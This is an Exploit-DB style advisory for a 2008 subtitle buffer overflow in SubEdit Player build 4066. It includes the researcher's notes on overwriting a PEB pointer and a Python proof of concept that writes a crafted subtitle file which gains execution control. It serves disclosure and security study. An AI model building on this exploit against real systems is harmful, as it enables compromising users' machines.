header-logo
Suggest Exploit
vendor:
SubEdit Player
by:
grzdyl
7.5
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: SubEdit Player
Affected Version From: SubEdit Player build 4066
Affected Version To: SubEdit Player build 4066
Patch Exists: YES
Related CWE: N/A
CPE: a:subedit:subedit_player:4066
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows Xp sp2
2008

Subedit Player build 4066 subtitle BoF vulnerability

SubEdit Player is a very popular player and subtitles editor in Poland. It does not perform any boundary checks on supplied subtitles, which causes buffer overrun and throwing access violation exception on group of instructions. This can be exploited to overwrite a pointer to RtlEnterCriticalSection in PEB structure of ntdll, resulting in an access violation when executing [42424242].

Mitigation:

Perform boundary checks on supplied subtitles.
Source

Exploit-DB raw data:

/===Subedit Player build 4066 subtitle BoF vulnerability=========|
|
| SubEdit Player is a very popular player and subtitles    
| editor in Poland. It does not perform any boundery checks         
| on supplied subtitles. This causes buffer overrun and
| throwing access violation exception on group of instructions:
|
|
| 005F7C1E  |. 8902           MOV DWORD PTR DS:[EDX],EAX
| 005F7C20  |. 8950 04        MOV DWORD PTR DS:[EAX+4],EDX
|    
| I thought in first moment that this is heap overflow, but
| why does these instructions appear in subedit module? And
| why on my winxp sp2 computer this is possible? So, I think
| that this program has own kind of dynamically list structure
| and I am able to overwrite its pointers.
|
| Ok so, I am controling EAX and EDX registers. In this
| situation I am able to use technique described by c0ntex
| ( thx mate! ) to overwrite a pointer to RtlEnterCriticalSection
| in PEB structure of ntdll. Thanks to this (after about 30
| access violations when writing - exceptions handlers throw
| exceptions handlers)
| I get:
|
|   
|  {Access violation when executing [42424242]}
|                                 
|  -Tested on Windows Xp sp2 fully patched.
|  -Greatz to: mewo
|
|  -Bug discovered by grzdyl         
|
\=================================================================|
       
POC:

#!/usr/bin/python

sub = "{4143}{4200}"
sub += "B" * 4098
sub += "\x20\xf0\xfd\x7f"
sub += "A" * 398

fd = open("thematrix.txt", "w")
fd.write(sub)
fd.close()

print "FILE CREATED\nHAVE FUN!"

# milw0rm.com [2008-04-19]